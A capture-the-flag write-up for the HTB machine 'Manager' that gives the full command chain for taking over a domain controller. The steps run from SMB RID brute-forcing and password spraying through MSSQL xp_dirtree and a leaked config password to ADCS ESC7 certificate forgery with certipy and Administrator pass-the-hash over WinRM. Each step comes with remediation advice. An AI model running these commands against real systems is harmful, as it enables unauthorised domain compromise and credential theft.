Manager
Summary
The domain controller DC01 (manager.htb, $TARGET) was fully compromised through a four-stage chain. SMB null-session authentication let me enumerate every domain account by RID cycling without a single credential. A username-as-password spray against that list yielded a valid SQL login (Operator's password), which was used to call the xp_dirtree stored procedure and list the IIS web root — revealing a forgotten backup archive.
That archive contained a hidden XML config file with the cleartext password for the domain user raven, giving an interactive WinRM shell. Raven held the 'Manage CA' permission on the enterprise Certificate Authority, which is the ADCS ESC7 misconfiguration: raven self-promoted to CA Officer, approved her own certificate request impersonating Administrator, and used the resulting certificate to recover the Administrator NTLM hash via Kerberos PKINIT — passing that hash directly into WinRM for full domain control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for raven>"
export PASSWORD2="<the-password-you-recovered, for Operator>"
export HASH="<the-hash-you-recovered, for Administrator>"Attack path — how the box was taken
Exact commands 1
Unauthenticated RID walk against DC01; collects domain account names without any credential.
$ nxc smb $TARGET -u guest -p '' --rid-brute 6000FixDisable SMB null sessions and guest account enumeration on the domain controllerHigh
Exact commands 2
Validates the username-as-password credential against SMB.
$ nxc smb $TARGET -u Operator -p $PASSWORD2Confirms the same credential grants MSSQL access on port 1433.
$ nxc mssql $TARGET -u Operator -p $PASSWORD2FixEnforce a password policy that prohibits username-as-password and requires strong credentials for all accountsCritical
Exact commands 1
Lists files in the IIS web root via SQL; reveals the exposed backup archive.
$ nxc mssql $TARGET -u Operator -p $PASSWORD2 -q "EXEC master.sys.xp_dirtree 'C:\inetpub\wwwroot',1,1;"FixRestrict MSSQL xp_dirtree and other file-system stored procedures to sysadmin accounts onlyHigh
Exact commands 3
Downloads the unauthenticated backup archive from the web server.
$ curl -s -o /tmp/backup.zip http://$TARGET/website-backup-27-07-23-old.zipExtracts the archive; look for hidden files beginning with '.'.
$ unzip -o /tmp/backup.zip -d /tmp/backup_extractReveals raven's cleartext credential inside the hidden config file.
$ cat /tmp/backup_extract/.old-conf.xmlFixRemove backup archives and cleartext credentials from web-accessible directoriesCritical
Exact commands 2
Confirms WinRM access and reads user.txt -> <user.txt>
$ nxc winrm $TARGET -u raven -p "$PASSWORD" -x "type C:\Users\raven\Desktop\user.txt"Opens an interactive WinRM shell for privilege-escalation enumeration.
$ evil-winrm -i $TARGET -u raven -p "$PASSWORD"Exact commands 6
Identifies vulnerable ADCS templates and CA permission misconfigurations.
$ certipy-ad find -u raven@manager.htb -p "$PASSWORD" -dc-ip $TARGET -vulnerable -stdoutSelf-promotes raven to CA Officer using existing Manage CA rights.
$ certipy-ad ca -u raven@manager.htb -p "$PASSWORD" -dc-ip $TARGET -ca manager-DC01-CA -add-officer ravenEnables the SubCA template on the CA.
$ certipy-ad ca -u raven@manager.htb -p "$PASSWORD" -dc-ip $TARGET -ca manager-DC01-CA -enable-template SubCARequests a certificate for administrator@manager.htb; denied by template ACL, generating a pending request (note the request ID returned).
$ certipy-ad req -u raven@manager.htb -p "$PASSWORD" -dc-ip $TARGET -ca manager-DC01-CA -template SubCA -upn administrator@manager.htb -target dc01.manager.htbManually approves the denied request using CA Officer rights; substitute 20 with the actual pending request ID.
$ certipy-ad ca -u raven@manager.htb -p "$PASSWORD" -dc-ip $TARGET -ca manager-DC01-CA -issue-request 20Retrieves the issued certificate as administrator.pfx.
$ certipy-ad req -u raven@manager.htb -p "$PASSWORD" -dc-ip $TARGET -ca manager-DC01-CA -retrieve 20 -target dc01.manager.htbFixRemove 'Manage CA' and 'Manage Certificates' rights from non-PKI-administrator domain accountsCritical
Exact commands 4
Reads the DC's authoritative clock; use the reported time to calculate and fix the local skew.
$ nmap -sT -p445 --script smb2-time $TARGET -PnHard-sets my clock to match DC time; substitute the actual timestamp from smb2-time output.
$ sudo date -u -s '2026-07-29 05:39:45'PKINIT authentication with the forged certificate; yields a TGT and the Administrator NTLM hash.
$ certipy-ad auth -pfx administrator.pfx -dc-ip $TARGET -username administrator -domain manager.htbPass-the-hash into WinRM as Administrator -> <root.txt>
$ nxc winrm $TARGET -u Administrator -H $HASH -x "type C:\Users\Administrator\Desktop\root.txt"Attack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 1433/tcp | ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49693/tcp | unknown recon-sweep-discovered |
| 49694/tcp | unknown recon-sweep-discovered |
| 49695/tcp | unknown recon-sweep-discovered |
| 49728/tcp | unknown recon-sweep-discovered |
| 49737/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.